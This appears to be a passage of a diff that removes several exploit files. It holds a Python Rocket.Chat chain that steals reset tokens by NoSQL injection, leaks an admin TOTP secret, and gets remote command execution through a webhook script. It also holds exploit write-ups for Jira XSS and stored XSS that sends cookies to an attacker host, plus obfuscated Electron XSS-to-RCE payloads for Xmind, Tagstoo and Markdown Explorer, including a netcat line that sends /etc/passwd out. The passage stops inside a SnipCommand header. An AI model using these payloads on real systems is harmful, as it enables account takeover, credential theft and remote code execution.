payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
|
|
||||||
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
||||||
time.sleep(0.5)
|
|
||||||
if 'Meteor.Error' not in r.text:
|
|
||||||
token += c
|
|
||||||
print(f"Got: {token}")
|
|
||||||
|
|
||||||
print(f"[+] Got token : {token}")
|
|
||||||
return token
|
|
||||||
|
|
||||||
|
|
||||||
def changingpassword(url,token):
|
|
||||||
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
|
|
||||||
headers={'content-type': 'application/json'}
|
|
||||||
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
||||||
if "error" in r.text:
|
|
||||||
exit("[-] Wrong token")
|
|
||||||
print("[+] Password was changed !")
|
|
||||||
|
|
||||||
|
|
||||||
def twofactor(url,email):
|
|
||||||
# Authenticating
|
|
||||||
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
|
|
||||||
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
|
|
||||||
headers={'content-type': 'application/json'}
|
|
||||||
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
|
|
||||||
if "error" in r.text:
|
|
||||||
exit("[-] Couldn't authenticate")
|
|
||||||
data = json.loads(r.text)
|
|
||||||
data =(data['message'])
|
|
||||||
userid = data[32:49]
|
|
||||||
token = data[60:103]
|
|
||||||
print(f"[+] Succesfully authenticated as {email}")
|
|
||||||
|
|
||||||
# Getting 2fa code
|
|
||||||
cookies = {'rc_uid': userid,'rc_token': token}
|
|
||||||
headers={'X-User-Id': userid,'X-Auth-Token': token}
|
|
||||||
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
|
|
||||||
r = requests.get(url+payload,cookies=cookies,headers=headers)
|
|
||||||
code = r.text[46:98]
|
|
||||||
print(f"Got the code for 2fa: {code}")
|
|
||||||
return code
|
|
||||||
|
|
||||||
|
|
||||||
def changingadminpassword(url,token,code):
|
|
||||||
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
|
|
||||||
headers={'content-type': 'application/json'}
|
|
||||||
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
||||||
if "403" in r.text:
|
|
||||||
exit("[-] Wrong token")
|
|
||||||
|
|
||||||
print("[+] Admin password changed !")
|
|
||||||
|
|
||||||
|
|
||||||
def rce(url,code,cmd):
|
|
||||||
# Authenticating
|
|
||||||
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
|
|
||||||
headers={'content-type': 'application/json'}
|
|
||||||
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
|
|
||||||
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
|
|
||||||
if "error" in r.text:
|
|
||||||
exit("[-] Couldn't authenticate")
|
|
||||||
data = json.loads(r.text)
|
|
||||||
data =(data['message'])
|
|
||||||
userid = data[32:49]
|
|
||||||
token = data[60:103]
|
|
||||||
print("[+] Succesfully authenticated as administrator")
|
|
||||||
|
|
||||||
# Creating Integration
|
|
||||||
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
|
|
||||||
cookies = {'rc_uid': userid,'rc_token': token}
|
|
||||||
headers = {'X-User-Id': userid,'X-Auth-Token': token}
|
|
||||||
r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
|
|
||||||
data = r.text
|
|
||||||
data = data.split(',')
|
|
||||||
token = data[12]
|
|
||||||
token = token[9:57]
|
|
||||||
_id = data[18]
|
|
||||||
_id = _id[7:24]
|
|
||||||
|
|
||||||
# Triggering RCE
|
|
||||||
u = url + '/hooks/' + _id + '/' +token
|
|
||||||
r = requests.get(u)
|
|
||||||
print(r.text)
|
|
||||||
|
|
||||||
############################################################
|
|
||||||
|
|
||||||
|
|
||||||
# Getting Low Priv user
|
|
||||||
print(f"[+] Resetting {lowprivmail} password")
|
|
||||||
## Sending Reset Mail
|
|
||||||
forgotpassword(lowprivmail,target)
|
|
||||||
|
|
||||||
## Getting reset token
|
|
||||||
token = resettoken(target)
|
|
||||||
|
|
||||||
## Changing Password
|
|
||||||
changingpassword(target,token)
|
|
||||||
|
|
||||||
|
|
||||||
# Privilege Escalation to admin
|
|
||||||
## Getting secret for 2fa
|
|
||||||
secret = twofactor(target,lowprivmail)
|
|
||||||
|
|
||||||
|
|
||||||
## Sending Reset mail
|
|
||||||
print(f"[+] Resetting {adminmail} password")
|
|
||||||
forgotpassword(adminmail,target)
|
|
||||||
|
|
||||||
## Getting reset token
|
|
||||||
token = resettoken(target)
|
|
||||||
|
|
||||||
|
|
||||||
## Resetting Password
|
|
||||||
code = oathtool.generate_otp(secret)
|
|
||||||
changingadminpassword(target,token,code)
|
|
||||||
|
|
||||||
## Authenticting and triggering rce
|
|
||||||
|
|
||||||
while True:
|
|
||||||
cmd = input("CMD:> ")
|
|
||||||
code = oathtool.generate_otp(secret)
|
|
||||||
rce(target,code,cmd)
|
|
||||||
|
|
@ -1,27 +0,0 @@
|
||||||
# Exploit Title: Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
|
|
||||||
# Date: 06/05/2021
|
|
||||||
# Exploit Author: CAPTAIN_HOOK
|
|
||||||
# Vendor Homepage: https://www.atlassian.com/
|
|
||||||
# Software Link: https://www.atlassian.com/software/jira/download/data-center
|
|
||||||
# Version: versions < 8.5.14, 8.6.0 ≤ version < 8.13.6, 8.14.0 ≤ version < 8.16.1
|
|
||||||
# Tested on: ANY
|
|
||||||
# CVE : CVE-2021-26078
|
|
||||||
|
|
||||||
Description:
|
|
||||||
|
|
||||||
The number range searcher component in Jira Server and Jira Data Center before version 8.5.14, from version 8.6.0 before version 8.13.6, and from version 8.14.0 before version 8.16.1 allows remote attackers inject arbitrary HTML or JavaScript via across site scripting (XSS) vulnerability
|
|
||||||
*Fixed versions:*
|
|
||||||
|
|
||||||
- 8.5.14
|
|
||||||
- 8.13.6
|
|
||||||
- 8.16.1
|
|
||||||
- 8.17.0
|
|
||||||
|
|
||||||
POC:
|
|
||||||
|
|
||||||
- *Story points* custom field that exists by default in all JIRA Server has 3 types of Search template ( None , number range searcher, number searcher) By default the value of Search template is number range searcher OR number searcher. if the value of Search template was set on number range searcher the JIRA server is vulnerable to XSS attack by lowest privilege . For Testing Check the Story points custom field and it's details ( for verifying that the Search template sets on number range searcher) with your ADMIN account ( just like the images) and in the other window Type this With your least privilege
|
|
||||||
user : jql=issuetype%20%3D%20Epic%20AND%20%22Story%20Points%22%20%3C%3D%20%22%5C%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22%20AND%20%22Story%20Points%22%20%3E%3D%20%221%22
|
|
||||||
Your XSS Will be triggered immediately.
|
|
||||||
|
|
||||||
Reference:
|
|
||||||
https://jira.atlassian.com/browse/JRASERVER-72392?error=login_required&error_description=Login+required&state=9b05ec1f-587c-4014-9053-b6fdbb1efa21
|
|
||||||
|
|
@ -1,37 +0,0 @@
|
||||||
# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
|
|
||||||
# Date: 30-12-2020
|
|
||||||
# Exploit Author: Mesut Cetin
|
|
||||||
# Vendor Homepage: http://egavilanmedia.com
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on Windows 10, Firefox 83.0, Burp Suite Professional v1.7.34
|
|
||||||
|
|
||||||
Vulnerable parameter: email, gender, username
|
|
||||||
Payload: <script>alert(document.cookie)</script>
|
|
||||||
|
|
||||||
Proof of Concept:
|
|
||||||
|
|
||||||
To bypass client-side filter, we will use Burp Suite. Reproduce the vulnerability by following the steps:
|
|
||||||
|
|
||||||
1. Login with default credentials "admin:password" at the demo page at: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php
|
|
||||||
2. Click above right on the "Profile" tab
|
|
||||||
3. Navigate to the "Edit Profile" tab
|
|
||||||
4. In Firefox, use Foxyproxy and click on "Intercept" within Burp Suite. Press on "Update password" button at demo page.
|
|
||||||
5. Capture the POST request in Burp Suite and manipulate the parameter as shown:
|
|
||||||
|
|
||||||
POST /User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile_action.php HTTP/1.1
|
|
||||||
Host: demo.egavilanmedia.com
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
|
|
||||||
Accept: application/json, text/javascript, */*; q=0.01
|
|
||||||
Accept-Language: de,en-US;q=0.7,en;q=0.3
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
||||||
X-Requested-With: XMLHttpRequest
|
|
||||||
Content-Length: 180
|
|
||||||
Origin: http://demo.egavilanmedia.com
|
|
||||||
Connection: close
|
|
||||||
Referer: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile.php
|
|
||||||
Cookie: PHPSESSID=944b2es2eb67f971af305b2105e35c3e
|
|
||||||
|
|
||||||
fullname=admin&username=<script>alert(document.cookie)</script>&email=<script>alert('PoC 2')</script>&gender==<script>alert('PoC 3')</script>&action=update_admin
|
|
||||||
|
|
||||||
6. Forward the request and refresh the page. You'll receive three different XSS pop-ups. One of them contains the PHPSESSID cookie. By using payloads like <BODY ONLOAD=fetch(`http://attackers-page.com/${document.cookie}`)>, the session cookies can be send to the attacker.
|
|
||||||
File diff suppressed because one or more lines are too long
|
|
@ -1,29 +0,0 @@
|
||||||
# Exploit Title: Markdown Explorer 0.1.1 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://github.com/jersou/markdown-explorer
|
|
||||||
# Version: 0.1.1
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
Easily explore, view and edit markdown documentation of a file tree.
|
|
||||||
If your projects documentation is written in Markdown, with md files dispersed throughout your project tree, Markdown Explorer displays md files in a tree structure, and it allows filtering by file name or by file content.
|
|
||||||
Just drop a folder on the window (or click on the folder icon on top left) to show the Markdown documentation of this folder. Then, explore the tree on the left, and toggle view/edit mode on md file with the button on the top right.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads within its own editor, as well as upload (.md) files once malicious code is entered, the payload will be executed immediately.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof
|
|
||||||
https://imgur.com/a/w4bcPWs
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload : exec(Attacker Reverse netcat stolen => /etc/passwd) && exec(calc)
|
|
||||||
|
|
||||||
[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)
|
|
||||||
|
|
@ -1,59 +0,0 @@
|
||||||
# Exploit Title: Xmind 2020 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: May 4th, 2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://www.xmind.net/
|
|
||||||
# Version: 2020
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
XMind, a full-featured mind mapping and brainstorming tool, designed to generate ideas, inspire creativity, brings efficiency both in work and life. Millions and millions of WFH people love it.
|
|
||||||
Many great products start with a small idea. Mind map can really be useful at the beginning of a project. Use it to record every idea in the meeting, you might be surprised by the difference and achievement it makes in the long run.
|
|
||||||
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
The software allows you to store payloads in the form of files or as custom header titles, once the malicious code is entered, the payload will be executed when the victim moves the mouse or clicks.
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
|
|
||||||
the remote attacker to get remote execution on the computer.
|
|
||||||
|
|
||||||
|
|
||||||
#Proof video
|
|
||||||
https://imgur.com/a/t96Nxo5
|
|
||||||
|
|
||||||
|
|
||||||
# Payload 2: exec(/etc/passwd)
|
|
||||||
|
|
||||||
#Decode Payload
|
|
||||||
<script>
|
|
||||||
const { spawn } = require("child_process");
|
|
||||||
const cat = spawn("cat", ["/etc/passwd"]);
|
|
||||||
cat.stdout.on("data", data => {
|
|
||||||
alert(`stdout: ${data}`);
|
|
||||||
});</script>
|
|
||||||
|
|
||||||
#Encode Payload
|
|
||||||
<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,99,111,110,115,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,99,111,110,115,116,32,99,97,116,32,61,32,115,112,97,119,110,40,34,99,97,116,34,44,32,91,34,47,101,116,99,47,112,97,115,115,119,100,34,93,41,59,10,99,97,116,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,10,125,41,59,60,47,115,99,114,105,112,116,62))>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Payload 2: exec(calc)
|
|
||||||
|
|
||||||
#Decode Payload
|
|
||||||
<script>
|
|
||||||
var Process = process.binding('process_wrap').Process;
|
|
||||||
var proc = new Process();
|
|
||||||
proc.onexit = function(a,b) {};
|
|
||||||
var env = process.env;
|
|
||||||
var env_ = [];
|
|
||||||
for (var key in env) env_.push(key+'='+env[key]);
|
|
||||||
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
#Encode Payload
|
|
||||||
<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>
|
|
||||||
|
|
||||||
|
|
||||||
# File Malicious.json Payload
|
|
||||||
|
|
||||||
[{"id":"5609f1388fd8c10e8f8798f104","class":"sheet","title":"Map 1","rootTopic":{"id":"b9aa22deba98b3b20c7ac8aca2","class":"topic","title":"\">'><img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,108,101,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,108,101,116,32,108,115,32,61,32,115,112,97,119,110,40,34,108,115,34,44,32,91,34,45,108,97,34,93,41,59,10,108,115,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,125,41,59,60,47,115,99,114,105,112,116,62,10,10))>","structureClass":"org.xmind.ui.map.unbalanced","children":{"attached":[{"id":"b58888b5ceebbf0e68dada0656","title":"Main Topic 1","titleUnedited":true},{"id":"193b56735e689ae86a01d91513","title":"Main Topic 2","titleUnedited":true},{"id":"67ddbcb1-85c9-4478-a0aa-580e9fdcd971","title":"Main Topic 3","titleUnedited":true}]},"extensions":[{"content":[{"content":"3","name":"right-number"}],"provider":"org.xmind.ui.map.unbalanced"}]},"theme":{"id":"c669ec6d4d48895260d968fc99","importantTopic":{"type":"topic","properties":{"fo:font-weight":"bold","fo:color":"#2b2b2b","svg:fill":"#FFDC34"}},"minorTopic":{"type":"topic","properties":{"fo:font-weight":"bold","fo:color":"#2b2b2b","svg:fill":"#AB9738"}},"expiredTopic":{"type":"topic","properties":{"fo:font-style":"italic","fo:text-decoration":" line-through"}},"centralTopic":{"type":"topic","styleId":"9a13b7d6-cd05-44c3-b903-6c3a50edc46e","properties":{"shape-class":"org.xmind.topicShape.roundedRect","svg:fill":"#1B1B1D","fo:font-family":"Montserrat","fo:font-weight":"600","fo:font-style":"normal","line-width":"3","line-color":"#292929","border-line-width":"0"}},"map":{"type":"map","styleId":"f0e1f9bb-a8f5-486a-a70a-b72b2b6560d3","properties":{"svg:fill":"#000000"}},"subTopic":{"type":"topic","styleId":"9ea90eed-1da0-4c93-bac4-2085e16a0faf","properties":{"fo:font-family":"Montserrat","svg:fill":"#636366","shape-class":"org.xmind.topicShape.roundedRect","fo:font-size":"14pt","fo:text-align":"left","border-line-width":"0","fo:color":"#FFFFFF"}},"mainTopic":{"type":"topic","styleId":"42065f7f-018c-4eb9-9dc7-3a7bbf464915","properties":{"fo:font-family":"Montserrat","svg:fill":"#3A3A3C","border-line-width":"0","fo:font-weight":"600","fo:font-style":"normal","fo:font-size":"18pt","fo:text-align":"left","fo:color":"#FFFFFF","line-width":"2"}},"summaryTopic":{"type":"topic","styleId":"c8f4c32b-2607-4fae-bb85-b8736039e941","properties":{"fo:font-family":"Montserrat","svg:fill":"#8E8E93","fo:font-weight":"500","fo:font-style":"normal","line-color":"#292929","border-line-width":"0"}},"calloutTopic":{"type":"topic","styleId":"6f8bd667-fb82-4d0d-899f-05dc76c5945e","properties":{"fo:font-family":"Montserrat","svg:fill":"#8E8E93","fo:font-size":"14pt","fo:font-weight":"500","fo:font-style":"normal"}},"floatingTopic":{"type":"topic","styleId":"c9509bc2-2641-4f5f-8b38-e62c14c907f9","properties":{"fo:font-family":"Montserrat","border-line-width":"0","fo:font-weight":"500","fo:font-style":"normal","line-width":"2","line-color":"#292929"}},"boundary":{"type":"boundary","styleId":"0d7cf959-3b54-4849-88e1-cc0fc8c60341","properties":{"svg:fill":"#545455","shape-class":"org.xmind.boundaryShape.roundedRect","line-color":"#5D5D60","fo:font-weight":"500","fo:font-style":"normal","fo:color":"#FFFFFF","fo:font-size":"13pt","fo:font-family":"Montserrat"}},"relationship":{"type":"relationship","styleId":"57da2f8e-3f8d-47ee-a802-93023fc802c1","properties":{"line-color":"#8E8E93","line-width":"2","fo:font-weight":"500","fo:font-style":"normal","fo:font-family":"Montserrat","fo:color":"#FFFFFF","fo:font-size":"13pt"}},"summary":{"type":"summary","styleId":"ddeb9d94-1678-4129-8796-42b036e08dd2","properties":{"line-color":"#5A5A5A"}}},"topicPositioning":"fixed"}]
|
|
||||||
|
|
@ -1,55 +0,0 @@
|
||||||
# Exploit Title: Tagstoo 2.0.1 - Stored XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
# Vendor Homepage: https://tagstoo.sourceforge.io/
|
|
||||||
# Version: v2.0.1
|
|
||||||
# Tested on: Windows, Linux, MacOs
|
|
||||||
|
|
||||||
# Software Description:
|
|
||||||
Software to tag folders and files, with multimedia and epubs preview.
|
|
||||||
You can export data with the tagging information to a file, as backup or to import it in any computer.
|
|
||||||
|
|
||||||
# Vulnerability Description:
|
|
||||||
|
|
||||||
The software allows you to store payloads in the form of files or custom tags, once the malicious code is entered, the payload will be executed immediately.
|
|
||||||
|
|
||||||
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
|
|
||||||
the remote attacker to get remote execution on the computer or directly open the folder in the program.
|
|
||||||
|
|
||||||
# Proof video
|
|
||||||
https://imgur.com/a/smeAjaW
|
|
||||||
|
|
||||||
|
|
||||||
# Payload 1: exec(calc)
|
|
||||||
|
|
||||||
#Decode Payload
|
|
||||||
<script>
|
|
||||||
var Process = process.binding('process_wrap').Process;
|
|
||||||
var proc = new Process();
|
|
||||||
proc.onexit = function(a,b) {};
|
|
||||||
var env = process.env;
|
|
||||||
var env_ = [];
|
|
||||||
for (var key in env) env_.push(key+'='+env[key]);
|
|
||||||
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
|
|
||||||
</script>
|
|
||||||
|
|
||||||
#Encode Payload
|
|
||||||
<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>
|
|
||||||
|
|
||||||
|
|
||||||
# Payload 2: exec(netcat remote stolen file => /etc/passwd)
|
|
||||||
|
|
||||||
#Decode Payload
|
|
||||||
|
|
||||||
<audio src=x onerror="const exec= require('child_process').exec;
|
|
||||||
exec('nc -w 3 192.168.111.129 1337 < /etc/passwd', (e, stdout, stderr)=> { if (e instanceof Error) {
|
|
||||||
console.error(e); throw e; } console.log('stdout ', stdout);
|
|
||||||
console.log('stderr ', stderr);});
|
|
||||||
alert('1')">
|
|
||||||
|
|
||||||
|
|
||||||
#Encode Payload
|
|
||||||
|
|
||||||
<img src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62))>
|
|
||||||
|
|
@ -1,26 +0,0 @@
|
||||||
# Exploit Title: SnipCommand 0.1.0 - XSS to RCE
|
|
||||||
# Exploit Author: TaurusOmar
|
|
||||||
# Date: 04/05/2021
|
|
||||||
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
||||||
# Risk: High (8.8)
|
|
||||||
